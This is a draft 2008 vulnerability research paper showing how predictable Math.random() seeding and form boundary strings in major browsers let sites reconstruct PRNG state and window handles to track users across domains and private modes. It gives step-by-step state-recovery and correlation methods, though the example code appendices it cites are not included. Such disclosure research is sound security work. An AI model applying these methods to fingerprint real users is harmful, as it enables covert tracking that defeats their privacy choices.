***** DRAFT *** CONFIDENTIAL *****

Document version 0.3.0

Temporary user tracking in major browsers

(bonus: Javascript Math.random predictability and "clean" cross site file uploads)

Amit Klein

September-November 2008

Abstract

User tracking across domains, processes (in some cases) and windows/tabs is demonstrated by exploiting several vulnerabilities in major browsers (Microsoft Internet Explorer, Mozilla Firefox, Apple Safari, and to a limited extent Google Chrome). Additionally, research by-products include predictability of Javascript's Math.random() in those browsers, and "clean" cross site file uploads due to predictability of the boundary string.

Table of Contents

1. Introduction

User tracking is a well known goal of sites on the Internet, either in the form of each sit to its own, or via cooperation of different sites. A site may like to know if several browsing sessions originate from the same user, or from different users. Likewise, two cooperating sites may like to know if a user browsing the first site and later browsed the second site.

User tracking can be put to legitimate uses (e.g. fraud prevention, session management), and to somewhat less agreeable uses (aggregating marketing information on individuals).

Many user tracking techniques have been offered in the past – some of them (e.g. cookies) are part of the web standards (and have their own RFC), while others are perhaps considered less legitimate. A common theme is that once a technique becomes known, a counter-technique is typically offered by privacy enthusiasts in order to prevent being tracked, and later on the same technique is offered by the browser vendors as part of the standard browser. Thus, many techniques are less effective today than they were several years ago.

- Cookies: by far the most common and most well understood tracking technique. Does not work across domains (unless 3rd party cookies are allowed). Easily blocked by all major browsers.
- Flash cookies: similar to cookies. Less easily blocked, but on the other hand, the Flash player can be disabled.
- IP address: not so reliable, since many users are behind a NAT firewall, and/or a proxy server. Privacy-seeking users may use an anonymizer proxy, anonymizing services, or the TOR network to overcome IP-based tracking.
- User-Agent and other browser related headers: small amount of entropy prevents them from being used by themselves. Additionally, User-Agent can be easily spoofed.
- Tagging a cached resource ([1]): domain specific, and does not survive cache cleaning.
- Using the clock skew to fingerprint a computer ([2]): a powerful method, yet it requires direct TCP/IP connection with the fingerprinted device, hence cannot be used against users behind a forward (or even transparent) proxy.

As will be demonstrated later in this document, many popular browsers do enable "temporary user tracking". By this term, it is meant that the user tracking offered is limited to the lifetime of the browser process. This is, of course, a major drawback of the new technique presented hereby – all the above techniques survive browser (and computer) restart. However, there are several benefits to the technique described – such as being global in nature (i.e. not domain specific).

The technique details are browser-specific, but the common theme is that the Javascript Math.random() function leaks information, and that the boundary string (used in multipart/form-data form submissions) leaks information. Combining the information obtained from both sources provides enough information to uniquely tag the browser process.

The browsers surveyed in this document are:

- **Microsoft Internet Explorer 6, 7 and 8 (beta-2)**, on Windows XP (tested with SP2 and SP3), Windows 2003 (tested with SP2) and Windows Vista (tested with SP1). Henceforth collectively, "IE". Probably all Trident-based browser implementations ([3]) are vulnerable.
- **Mozilla Firefox 2.0.0.x, 3.0.x and 3.1 (pre-beta-2)** (the latter with TraceMonkey turned on per the instructions in [4]) on Windows (tested with Windows XP SP2 and SP3), Mac OS/X (tested with Mac OS/X 10.5.5), Linux (tested with Ubuntu 8.04 LTS – Linux kernel 2.6.24) and Solaris (tested with Solaris 10). Henceforth collectively, "Firefox". Probably all Gecko-based browser implementations ([5]) are vulnerable.
- **Apple Safari 3.0.x, 3.1.x and 4.0 (developer preview)** on Windows (tested with Windows XP SP2) and Mac OS/X (tested with Mac OS/X 10.5.5). Henceforth collectively, "Safari". Probably all WebKit-based browser implementations ([6]) are vulnerable.
- **Google Chrome 0.2 and 0.3** on Windows (tested with Windows XP SP2 and SP3). Henceforth "Chrome".

The user-tracking techniques described in this document are unaffected by privacy-enhanced modes (IE8's "InPrivate", Safari's "Private Browsing", Chrome's "incognito").

It should be obvious that other versions of these browsers, other platforms, and other browsers in general may be vulnerable to these same issues, or to very similar issues.

2. Information leaked by the Javascript Math.random() implementation

Standard Javascript has a built-in object called Math, and a build in function called Math.random() ([7]). This function implements a pseudo random number generator (yielding output between 0.0 and 1.0). There is no complementary seeding function, so seeding strategy is implementation dependent.

In the Javascript engines of IE (Trident), Firefox (Gecko), Safari (WebKit) and Chrome (V8), the output of Math.random() can be used to reconstruct the random seed, and thus provide both this seed and the current "JS mileage" (i.e. the number of times Math.random() was invoked).

Both data items represent information leak, which can be used to tell two browser instances apart.

2.1 IE (Trident) - Windows

IE's implementation of Math.random() is essentially old Java's util.Random.nextDouble() implementation (very likely a pre-Java2 implementation, as a reference to the old algorithm used "in early versions of Java" is found in the JDK 1.2 documentation), except for the seeding. It makes use of a 48 bit LCG-style PRNG which is seeded with the time (in milliseconds granularity) of the first Math.random() invocation. Thus the seed is around 41 bit strong, but its entropy (assuming uniform distribution of first Math.random()

invocation over the "last" few days) is around 27-28 bits. The PRNG state is a 48 bit unsigned integer, which is initialized with a bit-permutation of the seed.

The seeding process is as following:

The 48 bits of the current time are split into lower 32 bits (t_L) and higher 16 bits (t_H). The latter is XORed with the lower 16 bits of t_L to form the low 16 bits of the state. Then t_L is XORed with 0xDEECE66D, and the result is permuted bit-wise according to the following permutation to form the high 32 bits of the state:

bit 0 -> bit 17

bit 1 -> bit 19

bit 2 -> bit 21

bit 3 -> bit 23

bit 4 -> bit 25

bit 5 -> bit 27

bit 6 -> bit 29

bit 7 -> bit 31

bit 8 -> bit 1

bit 9 -> bit 3

bit 10 -> bit 5

bit 11 -> bit 7

bit 12 -> bit 9

bit 13 -> bit 11

bit 14 -> bit 13

bit 15 -> bit 15

bit 16 -> bit 16

bit 17 -> bit 18

bit 18 -> bit 20

bit 19 -> bit 22

bit 20 -> bit 24

bit 21 -> bit 26

bit 22 -> bit 28

bit 23 -> bit 30

bit 24 -> bit 0

bit 25 -> bit 2

bit 26 -> bit 4

bit 27 -> bit 6

bit 28 -> bit 8

bit 29 -> bit 10

bit 30 -> bit 12

bit 31 -> bit 14

A single PRNG iteration consists of simply multiplying the state by a constant coefficient (*a*=0x5DEECE66D) adding another constant coefficient (*b*=0xB) and taking the least significant 48 bits of the result to be the next state.

A single Math.random() is obtained as following: the PRNG is advanced once, the highest 27 state bits are sampled, then the PRNG is advanced once more, and the highest 27 state bits are sampled. The two samples are concatenated to form a 54 bit unsigned integer. This integer is divided by 2^{54} to yield the result of Math.random() - a floating point number between 0.0 and 1.0.

Since the JS floating point mantissa size is only 53 bits, this means that if the most significant bit in the 54 bit integer is one, and if the least significant bit is one as well, rounding takes place. This rounding is done to the nearest even number ([8]). As a side note, it follows that if Math.random()≥0.5, then the least significant bit of Math.random()·2^{54} will be 0, and the next to least significant bit will be 0 with probability 75%.

The state can be easily extracted from a single Math.random() value as following: the floating point value is first multiplied by 2^{54} to form the original 54 bit integer (up to rounding). Then the higher 27 bits are extracted from it, and are shifted to the right by 21 positions. The lower 21 bits are enumerated over, and each 48 bit value is considered a candidate for the state (from which the first sample is taken), advanced once and then compared (only higher 27 bits, with possible rounding taken into account of the most significant bit of the first 27 bits is one) to the remaining 27 bits in the 54 bit integer (ignoring the least significant bit). A match is unlikely unless the real state is found.

From the extracted state, it's easy to roll back iteratively until a state value is found which matches (up to the initial permutation and XOR) a date in the last few days (assuming 2^{27}-2^{28} such possible values, out of the 2^{48} possible state values, it is very reliable way of finding the seeding time – since the PRNG is used only for Math.random(), and thus is not frequently invoked).

It should be noted that the PRNG is seeded separately in each IE window/tab – with the first Math.random() invocation in the window/tab.

An example implementation (in PHP and C/C++) is provided in Appendix A1.

2.2 Firefox (Gecko) - All platforms

Firefox's implementation of Math.random() is almost identical to Java's util.Random.nextDouble() ([9]). The Java util.Random PRNG is well analyzed (e.g. [10]). It makes use of a 48 bit LCG-style PRNG which is seeded (in the case of Firefox) with the process startup time (in milliseconds granularity). Thus the seed is around 41 bit strong, but its entropy (assuming uniform distribution of startup over the "last" few days) is around 28 bits.

The PRNG state is a 48 bit unsigned integer, which is initialized with the seed XOR *a* (*a*=0x5DEECE66D). A single PRNG iteration consists of simply multiplying the state by a constant coefficient (*a*) adding another constant coefficient (*b*=0xB) and taking the least significant 48 bits of the result to be the next state.

A single Math.random() is obtained as following: the PRNG is advanced once, the highest 26 state bits are sampled, then the PRNG is advanced once more, and the highest 27 state bits are sampled. The two samples are concatenated to form a

53 bit unsigned integer. This integer is divided by 2^{53} to yield the result of Math.random() - a floating point number between 0.0 and 1.0.

The state can be easily extracted from a single Math.random() value as following: the floating point value is first multiplied by 2^{53} to form the original 53 bit integer. Then the higher 26 bits are extracted from it, and are shifted to the right by 22 positions. The lower 22 bits are enumerated over, and each 48 bit value is considered a candidate for the state (from which the first sample is taken), advanced once and then compared (only higher 27 bits) to the remaining 27 bits in the 53 bit integer. A match is unlikely unless the real state is found.

From the extracted state, it's easy to roll back iteratively until a state value (XOR *a*) is found which matches a date in the last few days (assuming 2^{27}-2^{28} such possible values, out of the 2^{48} possible state values, it is very reliable way of finding the seeding time – since the PRNG is used only for Math.random(), and thus is not frequently invoked).

It should be noted that the PRNG is seeded once – when the Firefox process is started (in fact, it seems that during process startup, there are 3-4 invocations of Math.random()). And since Firefox uses a single process for all its activities (including tabs, new windows, and even new application launches), this technique can be used to identify two Firefox tabs/windows as belonging to the same process.

An example implementation in PHP and C/C++ is provided in Appendix A2.

2.3 Safari (WebKit JavaScriptCore) - Mac OS/X

Safari's implementation ([11]) of Math.random() on non-Widnows platforms uses the CRT rand() (divided by MAX_RAND+1) and the CRT srand() with first Math.random() invocation time (in seconds granularity) as seed. The entropy of the seed is thus around 17-18 bits (out of the possible 31 bits).

Going back from the observed Math.random() value to the CRT rand() value used in its calculation involves simply multiplying the Math.random() value by (MAX_RAND+1). It is thus possible to assume that rand() is known.

The Mac OS/X implementation of rand() and srand() is identical to FreeBSD's rand – [12]). It is a 31 bit LCG (initialized by the seed), which is advanced by multiplying it by a constant coefficient (7^5=16807) and taking the result modulo (2^{31}-1) for the next state. The rand() value amounts to the 31 bits of the state. Thus a single value of rand() yields the state at the time it was generated.

Extracting the seeding time involves running the PRNG backwards until a state value is reached which conforms to a time in the recent past (last few days): one needs to assume that the browser process was started no earlier than *T* seconds ago (a reasonable choice would be *T*=2 days=172800 seconds), in which case there will be only *T*=172800 possible seed values.

The algorithm is as following (assuming the 31 bits of the state have been already reconstructed): roll back the PRNG state one step at a time. In each step, check whether the state is lower than or equals to the current client time *t*, and higher than *t*-*T*. If it is, then assume this is the seed (and the time the browser process was started), and the rollback iteration count is the "CRT mileage" of the process, i.e. the amount of rand() invocations since the browser process was started.

The probability of no false positives (assuming T is significantly smaller than 2^{31}) is approximated at $\exp(-T \cdot M/2^{31})$, where M is the actual browser CRT mileage. Assuming T=2 days (172800 seconds), the following table depicts the probability for no false positives given some values of M:

M (real browser CRT mileage)	Probability of no false positives
0	100%
10	99.9%
100	99.2%
1000	92.2%
10000	44.7%

As can be seen, as long as the browser's CRT mileage is not particularly high, the algorithm can correctly identify the mileage and the seeding time of the browser process. Safari seems to consume rand() in a low pace – even in heavy browsing, the average seems to be around one invocation in several minutes. So a mileage value of 100 for Safari may represent few hours (or even days) of browsing.

An example implementation in PHP is provided in Appendix A3.

Note: on Windows (when compiled with Microsoft Visual Studio 2005 or later), WebKit uses rand_s(), which is cryptographically strong random source.

2.4 Chrome (V8) - Windows

V8's Math.random() implementation ([13], function Runtime_Math_random()) uses the function random() which is aliased in Windows to rand() ([14]). So in Windows, Math.random() is a floating point number consisting of the second rand() value, concatenated with the first rand() value, divided by 2^{30}. Since the MSVCRT PRNG state consists of 31 bits, a single Math.random() value does not suffice to find the PRNG state, and thus two consecutive Math.random() values are used.

The MSVCRT PRNG is seeded by calling srand() with the seeding time in milliseconds (effectively taken modulo 2^{31}), at process startup. Theoretically, it should be possible to find the correct seed by rolling back the PRNG one step at a time, and inspecting each value for being smaller than the current time and larger than the time minus some "maximum age" period (modulo 2^{31}), and as long as the age is small (e.g. 3600 seconds = 3600000 milliseconds) compared to 2^{31}, and the mileage small enough (e.g. up to 100), this should work. However, there are two fundamental obstacles:

- When a form of type multipart/form-data is submitted for the first time in the process, srand() is called unconditionally, thus re-seeding the PRNG (see section 3.3 for details). This obstacle can be sidestepped by taking into account the two alternatives for seed value.
- More importantly though, by default Google Chrome employs the "process-per-site-instance mode" ([30]), i.e. it starts a new process each time navigation is performed for a different site. So when a user navigates away from site A.com to site B.com (even in the same window/tab), the

current process is terminated and a new process is launched. Thus, the scope of the PRNG sequence is very limited. Note, however, that two frames in the same page (even if their source is from different sites) do share the same PRNG. And of course, if the user chooses the "single process" mode[1], then the PRNG state is shared among all windows and tabs. Likewise, if the user chooses the "one instance per tab", then the process will not be terminated when navigation to different sites occurs within the same tab, so the PRNG state will be preserved per tab.

A script that extracts the process startup time (assuming no multipart form submission has taken place in the process) is provided in Appendix A4.

3. Information leaked by the boundary string

Modern browsers support the "multipart/form-data" content type ([15]), e.g. in order to enable file uploads. An HTTP POST request with Content-Type header "multipart/form-data" designates the data (body) as having that type. The Content-Type header also designates the boundary string to be used as part of the separator. The body section of the request is then separated to "parts" essentially by means of a CR+LF followed by double hyphen, followed by the boundary string, followed by CR+LF ([16]). Each part contains headers, a terminating CR+LF, and a body. The headers designate the parameter name (via the Content-Disposition header), and if the parameter is a file, the file name can also be designated (via the Content-Disposition header), along with its type (via a Content-Type header). An HTML form can designate a "multipart/form-data" submission by including ENCTYPE="multipart/form-data" attribute in the FORM tag.

For example, the following HTML form designates a "multipart" submission:

```
<form method="POST" action="http://www.example.com/" enctype="multipart/form-data">
<input name="x" type="hidden" value="foobar">
<input name="f" type="file">
<input name="dummy" type="submit" value="Submit file">
</form>
```

A form submission may result in this HTTP request sent by the browser (Safari/3.1.2 for Windows in this example). The file name is C:\helloworld.txt and the file contents are "Hello World" followed by CR and LF. The boundary string generated by the browser for this request is "----WebKitFormBoundaryAAO3AAcWAArxAAQr":

```
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML,
like Gecko) Version/3.1.2 Safari/525.21
Cache-Control: max-age=0
Accept-Language: en-US
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAAO3AAcWAArxAAQr
Accept-Encoding: gzip, deflate
Content-Length: 395
Accept:
```

[1] It seems though that Chrome's "incognito" mode is incompatible with the "single process" mode, and any incognito window opened from a "single process" Chrome process will not be functional.

```
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/
png,*/*;q=0.5
Connection: keep-alive
Host: www.example.com

------WebKitFormBoundaryAAO3AAcWAArxAAQr
Content-Disposition: form-data; name="x"

foobar
------WebKitFormBoundaryAAO3AAcWAArxAAQr
Content-Disposition: form-data; name="f"; filename="helloworld.txt"
Content-Type: text/plain

Hello World

------WebKitFormBoundaryAAO3AAcWAArxAAQr
Content-Disposition: form-data; name="dummy"

Submit file
------WebKitFormBoundaryAAO3AAcWAArxAAQr--
```

As will be demonstrated below, the boundary string generated by IE (Trident), Firefox (Gecko), Safari (WebKit) and Chrome (WebKit) is predictable, and leaks information.

3.1 IE (Trident) - Windows

3.1.1 Boundary string structure

IE's boundary string has a very predictable structure and contents. The boundary string is a concatenation of the following:

- 27 hyphens
- The 4 digit year part of the current time (base 16, lowercase letters)
- The millisecond part of the current time (base 16, lowercase letters). This value actually has clock-tick granularity, which is usually 15.625 (or in older machines - 10.0144) milliseconds.
- The second part of the current time (base 16, lowercase letters).
- The window handle of foreground window (base 16, lowercase letters), henceforth "*hwnd*". This value is probably retrieved via a call to the Win32 GetForegroundWindow() function (part of User32 library, [17]) or an equivalent facility.

When the user is active within the browser window (e.g. clicking links, pressing buttons and filling forms), the browser (more precisely, the IEFrame window) is the foreground window. And since the window handle doesn't change during the lifetime of the window (which can be pretty long – hours/days), once it is sampled by one site, it is known (and predictable) for all sites. Client side time is available to Javascript code, hence predictable too. The net result is that the boundary string is completely predictable.

The fact that the Internet Explorer window handle can be extracted, and that the same window handle is used for all traffic emitted from the same window represents information leakage with very interesting consequences, which are discussed below.

3.1.2 *hwnd* entropy estimation

hwnd is a handle to a window, which in Win32 is represented by the type HWND. It is a 32 bit value (DWORD). From [18], the low 16 bits are simply the Win16 handle number – which is by definition an even number (least significant bit is always 0). The high 16 bits are called "uniquifier", which is an unsigned number incremented every time the Win16 handle is allocated.

Experiments revealed that the uniquifier is initialized to 0x0001, and it cycles through 0xFFFE and back to 0x0001 (i.e. 0x0000 and 0xFFFF are never used). This means that *hwnd* serialization contains at least 5 hexadecimal digits.

It seems that when a new Win32 handle (HWND) is requested from Windows, it attempts to assign the most recently freed Win16 handle, which is still free. If no such handle exists (i.e. all Win16 handles in the range 0x0002…*M* are used, where *M* is the highest Win16 handle ever assigned), then Windows assigns *M*+2 as the handle. When assigning a Win16 handle, Windows increments its uniquifier by 1 before returning the HWND (which is made of the Win16 handle and the uniquifier).

Now it's clear that HWND values depend on the current state of opened windows, as well as on the history of windows opened and closed. This makes it quite difficult to estimate and simulate the entropy of HWND, particularly since the entropy may vary wildly according to the scenario. For example, the entropy of HWND right after boot is quite low. If the HWND is sampled after some applications have been started, the entropy becomes higher (in a small scale tests, sampling applications from a pool of 20 popular applications, running them, and sampling HWND right after yields entropy of 9-10 bits), and if the HWND is sampled after a day or two of working, the entropy should be higher (around 15 bits).

There is one exception though – since *hwnd* is obtained internally by IE using GetForegroundWindow (or similar), a value of NULL (0) may be returned in some rare cases (this is documented in [17]). Indeed, in experiments, a value of 0 was returned in very few occasions. This means that the *hwnd* value may very rarely contain a leading zero, and may be shorter than 5 digits.

3.1.3 *hwnd* extraction strategies

All attack techniques which involve the IE boundary string require a reliable way of obtaining the *hwnd* part of the boundary. This isn't too hard, but it's not entirely trivial, since the boundary is made of varying length fields (the millisecond, second and *hwnd* fields) and the challenge is to correctly separate the *hwnd* field from the preceding fields.

Another complication is that *hwnd* is the handle of the foreground window. If it is desired to obtain the handle to a particular browser window, the attacker needs to ensure that that window is the active one. This is, however, easily solved. The attacker needs to tie the *hwnd* extraction algorithm to a DOM event that results from user activity, e.g. onFocus, onKeyPress, onMouseDown, onClick and onSubmit.

3.1.4 Longest common suffix

A naïve approach would be to obtain several boundary values and define the candidate *hwnd* to be the longest common suffix of all these strings. Obviously

the correct *hwnd* value is a suffix of the candidate *hwnd*. But they may not be identical. Keep in mind that the value immediately preceding the *hwnd* is the second count (in hexadecimal), or more precisely, the least significant hexadecimal digit of the second count. So if all samples are taken during the same second (from the client side perspective), the longest common suffix will include the least significant hexadecimal digit of the second count. Hence, the candidate *hwnd* will be longer than the correct *hwnd*, and the algorithm will yield an incorrect result. This analysis also provides a hint for the correct algorithm: as long as it is guaranteed that the least significant hexadecimal digit of the two samples is different, the longest common suffix will be exactly the correct *hwnd*. Taking two samples at least one second apart provides such guarantee, as long as they're not "too distant", in which case the least significant digit can wrap around. Wrapping around usually occurs after 16 seconds, but when the second count is 59 (hexadecimal: $3b_{16}$), the next value is 0, hence for example a least significant digit "b" (in second count 11) can occur 12 seconds after a previous instance of "b" (in second count 59). The revised algorithm is, therefore:

Take two samples of the boundary string, taken at least one second apart (but less than 11 seconds apart) from the client's perspective, and define the candidate boundary string to be the longest common suffix.

Cons: Once the initial page is downloaded to the client, it requires two additional hits to the server. Also takes at least one second (thus risking loss of focus). And if, for some reason, there is a very long delay in traffic between the client and the server, the timeout may fire and the algorithm may not yield any result.

Pros: Very reliable.

3.1.5 Time field reconstruction

A different technique is to try to reconstruct the exact field values (year, second count, millisecond count) as they were used by the browser at submission time. Javascript code can sample the client time just before submission, and place it in the form so the browser submits the client time as part of the form submission. The server can then reconstruct the time-related fields, remove them from the boundary, and expose the *hwnd* field. This simple algorithm works well when the client machine is not very busy or very slow. When the client machine is busy, the odds become higher for a clock tick (or more) to occur between the time sampling time and the form submission. To counter that, the server needs to consider more candidates for the submission time. So if t is provided by the client, the server needs to consider t, $t+tick$, $t+2\cdot tick$, etc. Most of Windows installations nowadays use a tick value of 15.625 milliseconds (though some installations may use 10.0144 milliseconds - see discussion in section 3.1 of [19]; for simplicity, *tick* is assumed to be 15.625, but it is easy to extend the algorithm to support two possible values of *tick*, or to measure *tick* with client-side Javascript – see Appendix C for a code example), and since the values may be rounded, the server needs to consider t, $t+15$, $t+16$, $t+31$, $t+32$, etc. If indeed the client used any one of those values as time when submitting the form, the server would be able to reconstruct the string used by the client, and extract the *hwnd*. Another factor that needs to be considered is time adjustment on the client (the "Windows Time" service periodically samples reliable time sources and adjusts the local clock accordingly). Experiments show that workstations which synchronize their clock with external source may modify the time by ±1 millisecond as frequently as once in 0.25 second (in stable state, and assuming a reasonable clock drift). This means that an addendum of ±1 should be added to all time estimations mentioned above.

There's a small complication though – if the time serialization in any of the suggested time values is a prefix of any other serialization of any other suggested time, the server may not know which value to use. For example, when *t* (modulo 60000) is 17001 milliseconds, its serialization ("111") is a prefix of the serialization of *t*+16 ("1111"). A *hwnd* value whose leading digit is not "1" can still disambiguate this case if the shorter serialization was the one indeed used by the client. In such case, the boundary value is "…111234567", which cannot match the longer prefix "1111". However, if the client used the longer serialization, then the boundary value is "…1111234567", which causes a real ambiguity at the server, since it cannot distinguish between (1111,234567) and (111,1234567).

Note that when the longer prefix ends with the digit "0" (e.g. *t*=1 whose serialization is "10" vs. *t*+15 whose serialization is "100"), then the ambiguity can be ignored. This is because the serialized *hwnd* almost never contains a leading zero (the only exception being the special case wherein *hwnd* is 0, which is very rare).

So the revised algorithm would try possible tick counts (say, 0…4), and check whether any of them yields a *t* value that when serialized, forms a prefix of the boundary value.

Overall, ambiguity is rare, and when encountered, the server can force another iteration to eliminate the ambiguity. It is still possible (on an extremely slow/busy machine) for the tick count to exceed 4, in which case the server script may either fail to find prefix, or worse – may find an incorrect prefix (without the correct value, the server can't know that this is in fact an ambiguous situation, and thus will use the incorrect value).

An example implementation in PHP can be found in Appendix B1.

Cons: Ambiguity issues (very low probability), incorrect results (very low probability).

Pros: Once the initial page is downloaded, requires only a single hit to the server.

3.1.6 Partial *hwnd* extraction

In some cases, instead of using the full *hwnd*, it may suffice to get a partial reading, say of (*hwnd* modulo 2^{20}). In such case, the extraction is trivial – simply take the last 5 hexadecimal digits of the boundary string (*hwnd* is almost guaranteed to be at least 5 hexadecimal digits – see section 3.1.2).

3.2 Firefox 3 (Gecko) – all platforms

The boundary string Firefox 3 generates ([20]) has a very predictable structure and contents. The boundary string is a concatenation of the following:

- 27 hyphens
- 3 samples of the CRT rand() function, serialized as integers.

This logic has not changed since Firefox 2.0.0.0.

Mozilla Firefox 3 does not call srand(), except in Linux and Solaris. By convention, using rand() without calling srand() is equivalent to calling srand(1) before the first invocation of the rand() function (this is documented behavior for Windows MSVCRT – [21] and for Mac OS/X – [22]). Hence, all Firefox instances running on

the same O/S generate the same sequence of random numbers, and the only difference between them is how far each one is in this sequence. This is hereby defined as the "CRT mileage" of the browser process. This mileage is affected by the consumption rate of rand(). File uploads are not the only "consumer" of rand(), but there aren't too many consumers altogether.

In order to find the mileage, the attacker can start with seed=1, and roll forward the PRNG until 3 consecutive outputs yield the boundary string.

In Linux and Solaris, it seems that srandom() is called (probably in the platform-specific crash-reporter code), and since in Linux and Solaris, srand() is a wrapper for srandom(), the net result is that the CRT PRNG is actually seeded. The seed is the process startup time (in seconds resolution). srandom() is typically invoked before the JS PRNG is seeded, with up to few seconds apart. Thus, knowing the JS PRNG seeding time and subtracting 0-5 seconds from it yields the correct CRT PRNG seed (hence there's very little additional information in the CRT PRNG seed over the JS PRNG seed). It is therefore very easy to calculate the CRT mileage for Linux and Solaris as well.

To summarize: the boundary string is predictable, and it leaks the "mileage" of the browser.

Appendix B2 contains a script that extracts the CRT mileage for Firefox 3 (Windows).

Appendix B3 contains a script that extracts the CRT mileage for Firefox 3 (Mac OS/X).

Note: Firefox 2 does call srand(), with the process startup time, in microsecond resolution (taken modulo 2^{32}). This yields approximately additional 20 bits on top of the JS PRNG seeding time entropy, since the exact time srand() is called is within few seconds from the JS PRNG initialization time. However, it is difficult to find the seed without knowing (using the JS PRNG extraction) the process startup time.

3.3 Safari and Chrome (WebKit WebCore) - Windows

3.3.1 Boundary string structure

The boundary string produced by WebKit WebCore has a very predictable structure and contents. The boundary string ([23], function getUniqueBoundaryString) is a concatenation of the following:

- The string "----WebKitFormBoundary"
- 4 samples of the CRT rand() function, transformed and serialized as following: each value is treated as a 32 bit quantity, which is transformed and serialized byte-wise, from the most significant byte to the least significant byte. Each byte is transformed and serialized by taking its least significant 6 bits and mapping it into 63 different characters (0 and 63 are mapped to the same character, "A"). The map is static and well known, consisting of the characters A-Z, a-z, 0-9, + (and A), in this order.

The basic MSVCRT PRNG algorithm and extraction technique are described in [24]. In the WebKit case, there's a minor complication – the four rand() integers are serialized in a non-reversible manner. The first two bytes produced per integer are always "AA", since in MSVCRT, rand() values are 15 bits. However, the third byte is mapped from bits 8-13 of the integer, hence bit 14 is lost. Likewise, the fourth byte is mapped from bits 0-5 of the integer, so bits 6 and 7 are lost. Moreover, the mapping itself isn't 1:1 because 0 and 63 are both mapped to the same character, "A". As will be seen, this is a mild complication only.

The PRNG state reconstruction algorithm is simple. Using bytes 2-3, list all possible candidates for bits 0-13 of the first rand() result. Then enumerate over the remaining 16 bits to form the least significant 30 bits of the state just after the first rand() was obtained. Now roll this state forward 3 times and compare the result with the remaining bytes of the boundary string. Note that the 31^{st} bit of the state is ignored since it never participates in forming the serialized data. An implementation in PHP is provided in Appendix B4.

Given the current PRNG state (30 bits out of the 31 bit state – there's no way to reconstruct the most significant state bit), it is possible to roll back the state to the previous one, iteratively. Since WebKit seeds the PRNG with the time (in seconds) of the first boundary string construction, one can assume that the most significant bit of the seed is 1 (2^{30} is a date in January 2004, almost 5 years ago), and look for seed values that represent a recent date.

The seed finding algorithm is similar to the one described in section 2.3, with the necessary adaptations (rolling back the least significant 30 bits of the PRNG, and forcing the 31^{st} bit to 1), and the false positive probability calculation should have 2^{31} replaced by 2^{30}. Still, the bottom line is that since Safari consumes rand() in a very low pace, the mileage expected (even after hours/days of browsing) may not exceed 100, so the probability of false positives is low.

Notes:

1. In WebKit's Javascript engine in Windows, Math.random() doesn't consume the CRT native rand() facility. Rather, it uses Windows' rand_s(), which is a cryptographic PRNG. Therefore, Safari (on Windows) does not consume CRT rand() when invoking Math.random(). Google Chrome, which does not use the WebKit Javascript engine, does consume two rand() values per each Math.random() invocation (see section 2.4).

2. By default, Google Chrome employs the "process-per-site-instance" mode, in which it starts a new process each time navigation is performed for a different site ([30]). So when a user navigates away from site A.com to site B.com (even in the same window/tab), the current process is terminated and a new process is launched. Thus, the scope of the PRNG sequence is very limited. Note, however, that two frames in the same page (even if their source is from different sites) do share the same PRNG sequence. And of course, if the user chooses the "single process" mode, then the PRNG state is shared among all windows and tabs. Likewise, if the user chooses the "one instance per tab", then the process will not be terminated when navigation to different sites occurs within the same tab, so the PRNG state will be preserved per tab.

3. In Mac OS/X, WebKit uses the slightly stronger random() and srandomdev() for the boundary string construction. It should still be possible (at least in theory) to find the PRNG state, at least partially (but perhaps not the seed).

4. Combining the results

The main goal of the above research was to show that it is possible for an attacker to associate a "temporary global cookie" to the browser.

The term "global cookie" is fitting because the data collected remains intact across boundaries that oftentimes hinder "normal" cookies:

- Hosts/domains
- Ports
- Scheme (HTTP/HTTPS)

This "global cookie" is somewhat weak because it contains limited amount of entropy, i.e. it only has as much differentiation power as its entropy. In contrast, normal cookies can carry arbitrary values (up to cookie length restrictions).

Furthermore, this global cookie doesn't work across windows in IE (even when owned by the same process) and its lifetime is that of the window/process/tab (i.e. it resembles more a session cookie than a permanent cookie). Hence the qualifier "temporary".

Some examples where temporary global cookies are stronger than standard cookies):

- Identify the same client across different sites (user tracking)
- Session cookie, where the user doesn't accept cookies, and/or 3rd party cookies are not allowed.
- Resistance to IE8 "Delete Browsing History" (which addresses cache-tagging attacks such as [1]) and similar facilities in other browsers.

A note about using mileage for user tracking: when a browser mileage (JS mileage and/or CRT mileage) is sampled at one point, one can be certain that another sample from the same browser (with the same initialization time) would have a higher mileage value. If the consumption speed can be estimated, then the new mileage can be correlated with the expected mileage value, and if they are not close, the new sample is likely to represent a different browser instance.

4.1 IE - Windows

An IE window/tab can be identified by its Math.random() seeding time, its JS mileage, and its *hwnd* window handle. The seeding time yields 27-28 bits of entropy, the JS mileage additional 0-10, and *hwnd* 9-15 (the latter ones are coarse estimations). So the total entropy is 36-53 bits. This is quite high figure, and thus the combination of all data elements enables an attacker to easily differentiate among different IE instances and windows.

Note that when tabs are involved, the *hwnd* still applies to the global window, yet the JS data items are per tab.

Interestingly enough, two different IE windows/tabs can still be associated (even across processes). The idea is simple: when two tabs/windows are rendered in the same computer, their clock is synchronized, and more importantly, at any given time the two tabs/windows have an identical foreground window, and hence result an identical *hwnd* (in form submissions). So the attacker needs to force rendering a piece of code that periodically samples the foreground window *hwnd* (simultaneously in both windows/processes) and sends it to the attacking sites. The attacker can then correlate the two sequences and determine whether they are identical (or nearly identical), in which case they're likely to arrive from the same computer. Of course, many sequences can be obtained from many computers, and very similar sequences can be sought among them.

The client side script needs to make sure it is synchronized with any other copy of it running on the same computer. An easy way to accomplish this is to sample the *hwnd* immediately after the clock reaches an integral second – in other words, to sample the millisecond clock, and wait for one thousand milliseconds minus the current millisecond count. This ensures that the sampling takes place on an integral second. Of course, this can be generalized for any sampling interval *T*.

A sample in this case is simply sending the attacking site a form with enctype="multipart/form-data", with the session ID, and with the current client time.

The server side then needs to extract the *hwnd* (last 5 digits suffice in this case), compare the sequence data, indexed by the client time, to other sequence data obtained from other tabs/windows (possibly from other computers). When the two sequences are identical (or nearly so), the server can tie their session IDs together. The longer the sequences are, the more information the server gathers, and thus the better granularity the algorithm offers. So ironically, the more windows the user shuffles in the desktop (thus making more and different *hwnd* values be part of the sequence), the more unique the user's sequence becomes, leading to more accurate identification.

